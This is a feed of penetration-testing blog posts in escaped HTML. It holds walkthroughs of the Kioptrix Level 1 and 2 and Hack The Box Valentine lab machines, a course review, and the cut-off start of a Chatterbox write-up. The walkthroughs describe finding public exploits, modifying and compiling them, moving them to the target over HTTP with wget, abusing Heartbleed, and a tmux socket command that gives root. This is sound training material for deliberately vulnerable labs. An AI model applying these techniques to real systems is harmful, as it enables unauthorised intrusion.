&lt;img src="18.png" alt="&amp;ldquo;Inspecting the Exploit Code&amp;rdquo;">&lt;/p>
&lt;p>Verifying if the &lt;strong>gcc&lt;/strong> compiler is available on the target to compile the exploit locally.
&lt;img src="19.png" alt="&amp;ldquo;Verifying Gcc Version&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit and preparing the Python &lt;strong>SimpleHTTPServer&lt;/strong> on port &lt;strong>80&lt;/strong> to serve the exploit over HTTP.
&lt;img src="20.png" alt="&amp;ldquo;Preparing the Python SimpleHTTPServer&amp;rdquo;">&lt;/p>
&lt;p>Now that the Python SimpleHTTPServer is running &lt;strong>wget&lt;/strong> can be leveraged to download the exploit on the target. The exploit is also compiled with &lt;strong>gcc&lt;/strong> and made executable with the &lt;strong>chmod +x&lt;/strong> command.
&lt;img src="21.png" alt="&amp;ldquo;Downloading and Compiling the Exploit&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>Executing the exploit on &lt;strong>kioptrix.level2&lt;/strong> results in root level access and a full compromise of the machine.
&lt;img src="22.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Kioptrix Level 2 is the second machine in the Kioptrix series. Gaining an initial foothold on this machine requires a bit more effort and makes the machine a small step up in difficulty.&lt;/p>
&lt;p>Once the initial foothold is established the privilege escalation to root is straight forward and about the same difficulty as the first machine in the series.&lt;/p></description></item><item><title>VulnHub Write-Up Kioptrix Level 1</title><link>https://isroot.nl/2018/09/03/vulnhub-write-up-kioptrix-level-1/</link><pubDate>Mon, 03 Sep 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/09/03/vulnhub-write-up-kioptrix-level-1/</guid><description>&lt;p>I am a frequent visitor of several information security communities and blogs. Whenever someone asks a question along the lines of &lt;strong>&amp;ldquo;Are there any real world vulnerable by design challenges&amp;rdquo;&lt;/strong> the Kioptrix series keeps getting mentioned. I thought I&amp;rsquo;d bite the bullet and see what the Kioptrix challenges are all about starting with Kioptrix Level 1 which can be downloaded &lt;a href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/">here&lt;/a>.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Netdiscover&lt;/li>
&lt;li>Nmap&lt;/li>
&lt;li>Searchsploit&lt;/li>
&lt;li>Grep&lt;/li>
&lt;li>Python SimpleHTTPServer&lt;/li>
&lt;li>Wget&lt;/li>
&lt;li>Gcc&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-netdiscover">Enumeration: Netdiscover&lt;/h2>
&lt;p>As the Kioptrix series are virtual machines in a downloadable and self-hosted format the machine gets an IP address from &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP&lt;/a> when it starts. This means that unlike online challenges such as &lt;a href="https://www.hackthebox.eu/">Hack The Box&lt;/a> the IP address of the machine is somewhat &amp;ldquo;unknown&amp;rdquo; beforehand.&lt;/p>
&lt;p>The first thing to know is the local network address by using the &lt;strong>ifconfig&lt;/strong> command.
&lt;img src="01.png" alt="&amp;ldquo;Ifconfig Command&amp;rdquo;">&lt;/p>
&lt;p>Knowing the network address and subnet mask &lt;strong>Netdiscover&lt;/strong> can be leveraged to do some &lt;a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol">ARP&lt;/a> reconnaissance and find other hosts on the local network.
&lt;img src="02.png" alt="&amp;ldquo;Netdiscover Command&amp;rdquo;">&lt;/p>
&lt;p>The Kioptrix machine is hosted on the VMware software so it is safe to assume that the last entry in the list is the target as the &lt;strong>MAC Vendor&lt;/strong> column indicates a &lt;a href="https://en.wikipedia.org/wiki/MAC_address">MAC address&lt;/a> associated with VMware.
&lt;img src="03.png" alt="&amp;ldquo;Netdiscover Results&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap against the discovered IP address reveals ports &lt;strong>22&lt;/strong>, &lt;strong>80&lt;/strong>, &lt;strong>111&lt;/strong>, &lt;strong>139&lt;/strong>, &lt;strong>443&lt;/strong> and &lt;strong>1024&lt;/strong> are open.
&lt;img src="04.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against ports 22, 80, 111, 139, 443 and 1024 reveals the &lt;strong>Apache 1.3.20&lt;/strong> webserver running on a flavour of &lt;strong>RedHat&lt;/strong> Linux. The &lt;strong>mod_ssl 2.8.4&lt;/strong> and &lt;strong>OpenSSL 0.9.6b&lt;/strong> modules are also loaded.
&lt;img src="05.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-searchsploit">Enumeration: Searchsploit&lt;/h2>
&lt;p>A quick search with &lt;strong>searchsploit&lt;/strong> for &lt;strong>mod_ssl 2.8&lt;/strong> reveals several public exploits for mod_ssl &lt;strong>2.8.7&lt;/strong> and lower versions.
&lt;img src="06.png" alt="&amp;ldquo;Searchsploit mod_ssl 2.8&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="07.png" alt="&amp;ldquo;Copy the Exploit&amp;rdquo;">&lt;/p>
&lt;p>For the exploit to compile correctly the &lt;strong>libssl1.0-dev&lt;/strong> library needs to be installed on the attacking machine.
&lt;img src="08.png" alt="&amp;ldquo;Install libssl1.0-dev&amp;rdquo;">&lt;/p>
&lt;p>The exploit needs a few modifications to work and compile correctly. I copy the exploit keeping the original file for reference.
&lt;img src="09.png" alt="&amp;ldquo;Copy the Exploit&amp;rdquo;">&lt;/p>
&lt;p>The exploit needs the following two include statements &lt;strong>&amp;quot;#include &amp;lt;openssl/rc4.h&amp;gt;&amp;quot;&lt;/strong> and &lt;strong>&amp;quot;#include &amp;lt;openssl/md5.h&amp;gt;&amp;quot;&lt;/strong> added to the exploit code.
&lt;img src="10.png" alt="&amp;ldquo;Modifying the Exploit&amp;rdquo;">&lt;/p>
&lt;p>Furthermore, to prevent compilation warnings change **&amp;ldquo;unsigned char &lt;em>p, &lt;em>end;&amp;rdquo;&lt;/em>&lt;/em> to &lt;strong>&amp;ldquo;const unsigned char *p, *end;&amp;rdquo;&lt;/strong>.
&lt;img src="11.png" alt="&amp;ldquo;Modifying the Exploit&amp;rdquo;">&lt;/p>
&lt;p>Compiling the exploit with &lt;strong>gcc&lt;/strong>.
&lt;img src="12.png" alt="&amp;ldquo;Compiling the Exploit&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>The exploit supports several different target operating systems and Apache versions. &lt;strong>Grep&lt;/strong> can be leveraged to narrow down the long list of results as the previous Nmap scan indicated that the Kioptrix machine is most likely a flavour of &lt;strong>RedHat&lt;/strong> Linux with Apache version &lt;strong>1.3.20&lt;/strong>.
&lt;img src="13.png" alt="&amp;ldquo;Getting Commands&amp;rdquo;">&lt;/p>
&lt;p>Executing the modified exploit results in a low privileged shell as the &lt;strong>Apache&lt;/strong> user.
&lt;img src="14.png" alt="&amp;ldquo;Initial Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Investigating the target &lt;strong>operating system&lt;/strong> and &lt;strong>kernel version&lt;/strong> reveals both are severely out of date indicating a privilege escalation exploit is most likely available for the machine.
&lt;img src="15.png" alt="&amp;ldquo;Investigating the Target&amp;rdquo;">&lt;/p>
&lt;p>A quick search with searchsploit for &lt;strong>Linux Kernel 2.4 RedHat&lt;/strong> reveals several public exploits.
&lt;img src="16.png" alt="&amp;ldquo;Searchsploit Linux Kernel 2.4 RedHat&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="17.png" alt="&amp;ldquo;Copy the Exploit&amp;rdquo;">&lt;/p>
&lt;p>Verifying if &lt;strong>gcc&lt;/strong> is available on the target to compile the exploit locally.
&lt;img src="18.png" alt="&amp;ldquo;Verifying Gcc Version&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit and preparing the Python &lt;strong>SimpleHTTPServer&lt;/strong> on port &lt;strong>80&lt;/strong> to serve the exploit over HTTP.
&lt;img src="19.png" alt="&amp;ldquo;Preparing the Python SimpleHTTPServer&amp;rdquo;">&lt;/p>
&lt;p>Now that the Python SimpleHTTPServer is running &lt;strong>wget&lt;/strong> can be leveraged to download the exploit on the target. The exploit is also compiled with &lt;strong>gcc&lt;/strong> and made executable with the &lt;strong>chmod +x&lt;/strong> command.
&lt;img src="20.png" alt="&amp;ldquo;Downloading and Compiling the Exploit&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>Executing the exploit on &lt;strong>kioptrix.level1&lt;/strong> results in root level access and a full compromise of the machine.
&lt;img src="21.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Kioptrix Level 1 is the first machine in the series and a fun challenge for beginning security professionals.&lt;/p>
&lt;p>The machine is straight forward to enumerate and with a little research not hard to compromise. While the machine is old (it was released in 2010) it teaches valuable lessons in enumeration and finding and modifying publicly available exploits, skills every beginning security professional should develop and strive to master.&lt;/p></description></item><item><title>Virtual Hacking Labs Penetration Testing Course Review</title><link>https://isroot.nl/2018/08/13/virtual-hacking-labs-penetration-testing-course-review/</link><pubDate>Mon, 13 Aug 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/08/13/virtual-hacking-labs-penetration-testing-course-review/</guid><description>&lt;p>After completing my &lt;a href="https://www.elearnsecurity.com/certification/ecppt/">eLearnSecurity Certified Professional Penetration Tester v4&lt;/a> (eCPPT) exam I wanted to keep my skills sharp and put my newly gained penetration testing knowledge to the test in a practical lab environment. While visiting the &lt;a href="https://www.reddit.com/r/netsecstudents/">netsecstudents Reddit&lt;/a> I found several posts discussing &lt;a href="https://www.virtualhackinglabs.com/">Virtual Hacking Labs&lt;/a>.&lt;/p>
&lt;p>Virtual Hacking Labs is a young company based in the Netherlands that offers an online vulnerable by design penetration testing lab and accompanying course on penetration testing. They offer several plans to access their lab environment and course materials without breaking the bank. Because of their reasonable pricing and the overall positive comments on the netsecstudents Reddit I thought I&amp;rsquo;d try them out.&lt;/p>
&lt;h2 id="plan-comparison">Plan Comparison&lt;/h2>
&lt;p>The Virtual Hacking Labs plans (or passes as they call them) are relatively straight forward. You buy a pass that grants you access to their lab and course content for a pre-determined amount of time and off you go. The passes start out at &lt;strong>one week&lt;/strong> but &lt;strong>Month&lt;/strong>, &lt;strong>three month&lt;/strong> and &lt;strong>yearly&lt;/strong> passes are also available.&lt;/p>
&lt;p>&lt;img src="01.png" alt="&amp;ldquo;Plan Comparison&amp;rdquo;">&lt;/p>
&lt;p>The only thing to note while comparing passes is that the &lt;strong>weekly pass&lt;/strong> does not include offline access to the course materials and does not grant you a Certificate of Completion if you complete the twenty-machine lab challenge. If you value offline access to the materials for later reference, or if you want to opt for the Certificate of Completion I recommend going for a pass that includes them.&lt;/p>
&lt;p>I opted for the monthly pass which includes everything they have to offer including 31 days of access to the lab environment.&lt;/p>
&lt;h2 id="demo-and-purchasing">Demo and Purchasing&lt;/h2>
&lt;p>Virtual Hacking Labs offers a free &lt;a href="https://www.virtualhackinglabs.com/free-course-sample/">course sample&lt;/a> that you can request before purchase. The sample includes an introduction of what they have to offer, what is included when you buy a pass and includes a subset of the course material to see if you like the course content.&lt;/p>
&lt;p>Purchasing your access pass is as simple as selecting one, filling in the required information and account credentials and choosing a payment method. They offer several payment methods including &lt;strong>PayPal&lt;/strong>, &lt;strong>Credit Card&lt;/strong> and &lt;strong>iDeal&lt;/strong>. I used iDeal when making my purchase which made the process a seamless experience.&lt;/p>
&lt;p>While the Virtual Hacking Labs website states that memberships will be processed and activated within 24 hours of purchase I received an email with VPN access credentials a few minutes after payment allowing me to access course materials and the lab almost instantly.&lt;/p>
&lt;p>A note on pricing before purchase, the Virtual Hacking Labs website lists pricing without tax, keep this in mind while purchasing the course as they do add tax on checkout if required by law. Of further note is the price listing in &lt;strong>Euros&lt;/strong> which is something to keep in mind for non-European’s that consider to purchase the course.&lt;/p>
&lt;h2 id="the-course-content">The Course Content&lt;/h2>
&lt;p>The course content is split up in ten chapters, one of which is dedicated to a manual on how to access the practical lab over a VPN connection. This leaves nine chapters of actual penetration testing content that include.&lt;/p>
&lt;ul>
&lt;li>Penetration Testing Basics&lt;/li>
&lt;li>Information Gathering&lt;/li>
&lt;li>Vulnerability Assessment&lt;/li>
&lt;li>Exploitation&lt;/li>
&lt;li>Privilege Escalation&lt;/li>
&lt;li>Web Applications&lt;/li>
&lt;li>Password Attacks&lt;/li>
&lt;li>Networking and Shells&lt;/li>
&lt;li>Metasploit&lt;/li>
&lt;/ul>
&lt;p>The course itself can be seen as an introductory course and is very beginner friendly. The course does a good job introducing you to the penetration testing process and methodology and is designed in such a way that you can follow along and try the concepts that are explained in the materials on the well-known &lt;a href="https://metasploit.help.rapid7.com/docs/metasploitable-2/">Metasploitable 2&lt;/a> virtual machine. This machine is available in the Virtual Hacking Labs lab environment so you do not have to go through the hassle of setting up your own.&lt;/p>
&lt;p>The use of the Metasploitable 2 virtual machine and the &amp;ldquo;follow along&amp;rdquo; approach throughout the course is clever, it solidifies the theoretical concepts that are explained in the course materials and prepares you well for the beginner machines in the lab without spoiling solutions on the other machines.&lt;/p>
&lt;h2 id="the-online-course-dashboard">The Online Course Dashboard&lt;/h2>
&lt;p>If you purchase a month or longer access pass you can download an offline copy of the course materials in PDF format. For beginners however, it is probably more intuitive to follow the course in its online format. Using the online format allows you to mark chapters as &lt;strong>complete&lt;/strong> making it easy to track your progress.&lt;/p>
&lt;p>&lt;img src="02.png" alt="&amp;ldquo;Course Progress&amp;rdquo;">&lt;/p>
&lt;p>Marking chapters as complete makes the course progress bar fill up giving you a sense of accomplishment as you work your way through the course materials.&lt;/p>
&lt;p>&lt;img src="03.png" alt="&amp;ldquo;Course Progress Bar&amp;rdquo;">&lt;/p>
&lt;h2 id="the-lab">The Lab&lt;/h2>
&lt;p>The lab is a shared penetration testing lab, meaning you share a lab with other students that are also taking the course. The lab consists of around thirty-five vulnerable machines with a variety of operating systems. Operating systems include but are not limited to: &lt;strong>Windows&lt;/strong>, &lt;strong>Linux&lt;/strong>, &lt;strong>FreeBSD&lt;/strong>, &lt;strong>Nas4Free&lt;/strong> and even &lt;strong>Android&lt;/strong>.&lt;/p>
&lt;p>The lab machines are split up in three categories.&lt;/p>
&lt;ul>
&lt;li>Beginner&lt;/li>
&lt;li>Advanched&lt;/li>
&lt;li>Advanched+&lt;/li>
&lt;/ul>
&lt;p>As the name implies &lt;strong>beginner&lt;/strong> machines are meant for beginners, those that just finished the course materials or with some previous experience in the field. Solutions to these machines can often be found within the course content. Beginner machines also have clear hints available in the lab dashboard to push you in the right direction if you are stuck. Furthermore, most beginner machines do not require complex privilege escalation techniques and an initial shell usually results in the highest privileges possible.&lt;/p>
&lt;p>The &lt;strong>advanched&lt;/strong> machines offer a bigger challenge. They usually require you to jump through more hoops to gain an initial shell on the machine. As with the beginner machines the lab dashboard offers several cryptic hints on these machines. The hints do a good job pushing you in the right direction without handing you the solution. Compared to their beginner counterparts advanced machines often require privilege escalation techniques to gain the highest level of privileges once you gained an initial foothold.&lt;/p>
&lt;p>The &lt;strong>advanched+&lt;/strong> machines offer the highest challenge in the labs. Unlike the beginner and advanched machines these machines do not contain any hints within the lab dashboard. Gaining an initial shell and the highest levels of privileges on these machines often requires more advanched techniques that are not always covered within the course materials. Compromising these machines often means going beyond the course materials and finding new solutions on your own.&lt;/p>
&lt;p>The virtual machine creators did a good job creating and balancing the lab, making sure to include several older but also more modern and up to date operating systems and vulnerabilities. Vulnerable software, bad update practices, weak credentials, configuration errors and poorly written code seem to be the Virtual Hacking Labs mantra. I like this approach as it teaches you what to look for in real world engagements without the fluff some other CTF style labs use to make the challenge harder in an artificial way.&lt;/p>
&lt;h2 id="the-online-lab-dashboard">The Online Lab Dashboard&lt;/h2>
&lt;p>The lab dashboard follows the same approach as the Course Dashboard. On the dashboard you can find the names and IP addresses of lab machines, the machine difficulty and how many students marked the machine as complete. Like the course progress bar, the lab progress bar will fill up if you mark the machines you completed giving you a sense of accomplishment while you work your way through the lab.&lt;/p>
&lt;p>&lt;img src="04.png" alt="&amp;ldquo;Lab Progress Bar&amp;rdquo;">&lt;/p>
&lt;p>Depending on the difficulty of the machine clicking on its name brings you to a page with various hints and links to related course materials to review again if you are stuck. The links to the course materials usually are enough to refresh your memory and get you going again. I highly recommend only using the hints on a machine if you are really stuck. Doing another machine first and coming back later or taking a small break is usually a better solution than using the hints.&lt;/p>
&lt;h2 id="study-tips">Study Tips&lt;/h2>
&lt;ul>
&lt;li>Take your time with the course you get out of it what you put into it&lt;/li>
&lt;li>Use the Metasploitable 2 machine to follow along with the materials&lt;/li>
&lt;li>Use the course and lab progress bar to keep track of your progress&lt;/li>
&lt;li>Try not to use the hints, referencing the linked course materials usually is enough to push you in the right direction&lt;/li>
&lt;/ul>
&lt;h2 id="the-certificate-of-completion">The Certificate of Completion&lt;/h2>
&lt;p>To be eligible for the Certificate of Completion you must purchase a pass that grants at least a month of lab access. Furthermore, you must fully compromise at least twenty machines and gain &lt;strong>root/system level privileges&lt;/strong> while documenting your efforts in a penetration test report. The report must conform to certain guidelines that are explained by Virtual Hacking Labs on &lt;a href="https://www.virtualhackinglabs.com/?courses=2-7-certificate-completion">this&lt;/a> page (only accessible for members).&lt;/p>
&lt;p>After you finish writing your report you can sent an email to Virtual Hacking Labs and request your Certificate of Completion, they will verify your report and if everything is in order sent you the Certificate of Completion in PDF format by email. For my report I used a heavily modified version of the &lt;a href="https://github.com/juliocesarfort/public-pentesting-reports/raw/master/OffensiveSecurity/penetration-testing-sample-report-2013.pdf">Offensive Security penetration test report&lt;/a>. If you need inspiration there are several other penetration test reports available publicly, they can be found &lt;a href="https://github.com/juliocesarfort/public-pentesting-reports/">here&lt;/a>.&lt;/p>
&lt;p>The Certificate of Completion is a nice way to feel like you accomplished something worthwhile just like the course and lab dashboard give you a sense of accomplishment throughout the course. The certificate does not currently hold a lot of value in the market but is a welcome addition to the course nonetheless.&lt;/p>
&lt;h2 id="certificate-of-completion-tips">Certificate of Completion Tips&lt;/h2>
&lt;ul>
&lt;li>Make good notes while working on a machine&lt;/li>
&lt;li>Make frequent screenshots during the process&lt;/li>
&lt;li>Make your documentation immediately after compromising a machine&lt;/li>
&lt;li>Save any payload commands you use, you need them for your report&lt;/li>
&lt;li>Do not forget to grab the contents of the &lt;strong>key.txt&lt;/strong> file from a machine&lt;/li>
&lt;li>Do not forget to make a proof screenshot once you gained root/system access&lt;/li>
&lt;/ul>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>While the course materials will probably not teach you a lot of new techniques if you are a seasoned penetration tester it is a very well designed and practical course for aspiring penetration testers or IT professionals that want to learn more about offensive techniques. A solid background in computer networking, operating systems, and a basic understanding of Python will benefit you while going through the course materials.&lt;/p>
&lt;p>The lab offers a good number of vulnerable machines ranging in difficulty appeasing both beginners and more experienced individuals. What I really like here is the real-world approach in which the lab machines are designed. If you are an aspiring penetration tester or IT professional with an interest in learning offensive techniques I highly recommend Virtual Hacking Labs. The week pass is cheap and allows you to try them out for what is practically as expensive as night out, I assure you, you will learn something worthwhile and have a lot of fun along the way.&lt;/p></description></item><item><title>Hack The Box Write-Up Valentine</title><link>https://isroot.nl/2018/07/30/hack-the-box-write-up-valentine/</link><pubDate>Mon, 30 Jul 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/07/30/hack-the-box-write-up-valentine/</guid><description>&lt;p>Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one&amp;rsquo;s penetration testing and security skills. Valentine was a fun machine to compromise as it suffers from a very well-known vulnerability. In addition to this well-known vulnerability one needs several other puzzle pieces to gain root access. This makes the Valentine machine an interesting learning experience.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Nmap&lt;/li>
&lt;li>Firefox&lt;/li>
&lt;li>Gobuster&lt;/li>
&lt;li>Base64 and Hex en- and decoding&lt;/li>
&lt;li>Searchsploit&lt;/li>
&lt;li>Python&lt;/li>
&lt;li>SSH Client&lt;/li>
&lt;li>Tmux&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap reveals ports &lt;strong>22&lt;/strong>, &lt;strong>80&lt;/strong> and &lt;strong>443&lt;/strong> are open.
&lt;img src="01.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against ports 22, 80 and 443 reveals an &lt;strong>OpenSSH&lt;/strong> server and the &lt;strong>Apache&lt;/strong> webserver. Both services have out of date version numbers making it highly likely that the operating system running on the machine is out of date.
&lt;img src="02.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>A visit to the website on port 443 and 80 with the Firefox browser reveals an image with the &lt;a href="https://imgs.xkcd.com/comics/heartbleed_explanation.png">&lt;strong>heartbleed&lt;/strong>&lt;/a> logo but not much else.
&lt;img src="03.png" alt="&amp;ldquo;Firefox Heartbleed Logo&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-gobuster">Enumeration: Gobuster&lt;/h2>
&lt;p>Digging a bit deeper a &lt;strong>Gobuster&lt;/strong> scan reveals several interesting &lt;strong>directories&lt;/strong> that are worth investigating.
&lt;img src="04.png" alt="&amp;ldquo;Gobuster&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox-continued">Enumeration: Firefox Continued&lt;/h2>
&lt;p>The &lt;strong>encode&lt;/strong> directory seems to contain an encoder of some sort.
&lt;img src="05.png" alt="&amp;ldquo;Firefox Data Encoder&amp;rdquo;">&lt;/p>
&lt;p>Testing the &lt;strong>encoder&lt;/strong> with the string &lt;strong>&amp;ldquo;test&amp;rdquo;&lt;/strong> reveals encoded text. Looking at the output the encoder most likely uses &lt;a href="https://en.wikipedia.org/wiki/Base64">&lt;strong>base64&lt;/strong>&lt;/a> as the encoding scheme.
&lt;img src="06.png" alt="&amp;ldquo;Firefox Encoding Base64&amp;rdquo;">&lt;/p>
&lt;p>Running the &lt;strong>echo&lt;/strong> command with the output of the encoder and piping it to &lt;strong>base64 -d&lt;/strong> to decode reveals the initial &lt;strong>&amp;ldquo;test&amp;rdquo;&lt;/strong> string. This confirms the encoder uses base64 as encoding scheme.
&lt;img src="07.png" alt="&amp;ldquo;Decoding Base64&amp;rdquo;">&lt;/p>
&lt;p>Investigating further the &lt;strong>dev&lt;/strong> directory reveals several interesting files.
&lt;img src="08.png" alt="&amp;ldquo;Firefox Dev Directory&amp;rdquo;">&lt;/p>
&lt;p>Investigating the &lt;strong>hype_key&lt;/strong> file reveals a lot of text. Looking at the output it seems like the contents is encoded with &lt;a href="https://en.wikipedia.org/wiki/Hexadecimal">&lt;strong>hex&lt;/strong>&lt;/a>.
&lt;img src="09.png" alt="&amp;ldquo;Firefox hype_key Hex&amp;rdquo;">&lt;/p>
&lt;p>Using an &lt;a href="https://www.asciitohex.com/">online&lt;/a> tool to decode the &lt;strong>hex&lt;/strong> to &lt;strong>ascii&lt;/strong> reveals what appears to be an encrypted &lt;strong>SSH private key&lt;/strong> file.
&lt;img src="10.png" alt="&amp;ldquo;Firefox Decoding Hex&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-nmap-continued">Enumeration: Nmap Continued&lt;/h2>
&lt;p>The image discovered in the root of the website gives a strong hint towards the Heartbleed vulnerability. Because of this it is good practice to investigate if the machine is vulnerable.
&lt;img src="11.png" alt="&amp;ldquo;Nmap Heartbleed&amp;rdquo;">&lt;/p>
&lt;p>An &lt;strong>Nmap&lt;/strong> scan confirms that the Valentine machine &lt;strong>is vulnerable&lt;/strong> to the Heartbleed bug.&lt;/p>
&lt;h2 id="enumeration-searchsploit">Enumeration: Searchsploit&lt;/h2>
&lt;p>A quick search with &lt;strong>searchsploit&lt;/strong> reveals several public exploits for the Heartbleed bug.
&lt;img src="12.png" alt="&amp;ldquo;Searchsploit Heartbleed&amp;rdquo;">&lt;/p>
&lt;p>As Python is my language of choice I copy the Python exploit from the local exploit database.
&lt;img src="13.png" alt="&amp;ldquo;Copy the Python Module&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-heartbleed-memory">Exploitation: Heartbleed Memory&lt;/h2>
&lt;p>Enumerating the memory of the machine with the Python exploit reveals a &lt;strong>base64 encoded&lt;/strong> string. At first this does not seem like much but realising that a base64 encoder and decoder is hosted on the server makes this a bit suspicious.
&lt;img src="14.png" alt="&amp;ldquo;Heartbleed Enumerating Memory&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>Decoding&lt;/strong> the base64 string from the memory dump reveals something that looks a lot like a &lt;strong>passphrase&lt;/strong> that might be a match with the previously discovered &lt;strong>hype_key&lt;/strong> SSH private key file.
&lt;img src="15.png" alt="&amp;ldquo;Decoding Base64 Memory Dump&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>Using &lt;strong>SSH&lt;/strong> with the &lt;strong>hype_key&lt;/strong> private key and the &lt;strong>passphrase&lt;/strong> recovered from memory results in an initial shell on the target as the &lt;strong>hype&lt;/strong> user.
&lt;img src="16.png" alt="&amp;ldquo;SSH Initial Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Investigating the &lt;strong>home directory&lt;/strong> of the Hype user reveals the &lt;strong>.bash_history&lt;/strong> file. This seems out of place as this functionality is usually disabled on Hack The Box machines.
&lt;img src="17.png" alt="&amp;quot;.bash_history File&amp;quot;">&lt;/p>
&lt;p>Investigating further the &lt;strong>.bash_history&lt;/strong> file reveals some interesting contents. The Hype user seems to have been running &lt;a href="https://en.wikipedia.org/wiki/Tmux">&lt;strong>Tmux&lt;/strong>&lt;/a> and created a Tmux socket file that is saved to &lt;strong>/.dev/dev_sess&lt;/strong>.
&lt;img src="18.png" alt="&amp;quot;.bash_history Contents&amp;quot;">&lt;/p>
&lt;p>Investigating the Tmux socket file reveals it is owned by the &lt;strong>root&lt;/strong> user and has the &lt;a href="https://en.wikipedia.org/wiki/Setuid">&lt;strong>SUID&lt;/strong>&lt;/a> bit set. Also note that the group &lt;strong>hype&lt;/strong> has &lt;strong>read/write&lt;/strong> privileges on the file making it possible to use it.
&lt;img src="19.png" alt="&amp;ldquo;dev_sess File Rights&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>Attaching to the Tmux socket file with the command &lt;strong>tmux -S /.devs/dev_sess&lt;/strong> grants root privileges fully compromising the Valentine machine.
&lt;img src="20.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="remediation">Remediation&lt;/h2>
&lt;p>The Valentine machine hosted several sensitive files on a publicly accessible webserver. Furthermore, the Valentine machine runs an outdated operating system and outdated software making it vulnerable to the Heartbleed bug. This in turn made it possible to extract sensitive information from memory leading to a low privileged SSH session. After gaining access to the machine several configuration errors where discovered that made it possible to escalate privileges to the root user.&lt;/p>
&lt;ul>
&lt;li>Remove all sensitive files from the public webserver&lt;/li>
&lt;li>Update the operating system and installed software to a supported version to protect against known vulnerabilities&lt;/li>
&lt;li>Configure Bash history in such a way that it clears the history when logging out&lt;/li>
&lt;li>Prevent the use of &lt;strong>SUID&lt;/strong> bits on files that can be read and or written to by other users than &lt;strong>root&lt;/strong> and leverage sudo to elevate privileges instead&lt;/li>
&lt;/ul></description></item><item><title>Hack The Box Write-Up Chatterbox</title><link>https://isroot.nl/2018/07/16/hack-the-box-write-up-chatterbox/</link><pubDate>Mon, 16 Jul 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/07/16/hack-the-box-write-up-chatterbox/</guid><description>&lt;p>Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one&amp;rsquo;s penetration testing and security skills. Gaining system access on the Chatterbox machine is not very complex as an initial low privilege shell can be obtained through a service with a known vulnerability and publicly available exploit. Elevating privileges and gaining system access can be a bit more challenging as it requires some more advanced techniques.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Nmap&lt;/li>
&lt;li>Searchsploit&lt;/li>
&lt;li>Python&lt;/li>
&lt;li>Msfvenom&lt;/li>
&lt;li>Ncat&lt;/li>
&lt;li>Reg query, Netstat and Certutil&lt;/li>
&lt;li>Python&amp;rsquo;s SimpleHTTPServer&lt;/li>
&lt;li>Plink&lt;/li>
&lt;li>ImPacket Psexec.py&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap reveals no open ports.
&lt;img src="01.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Investigating further, a full &lt;strong>TCP&lt;/strong> port scan with the options &lt;strong>-n -Pn -T5&lt;/strong> to speed up the scan reveals ports &lt;strong>9255&lt;/strong> and &lt;strong>9256&lt;/strong> are open.
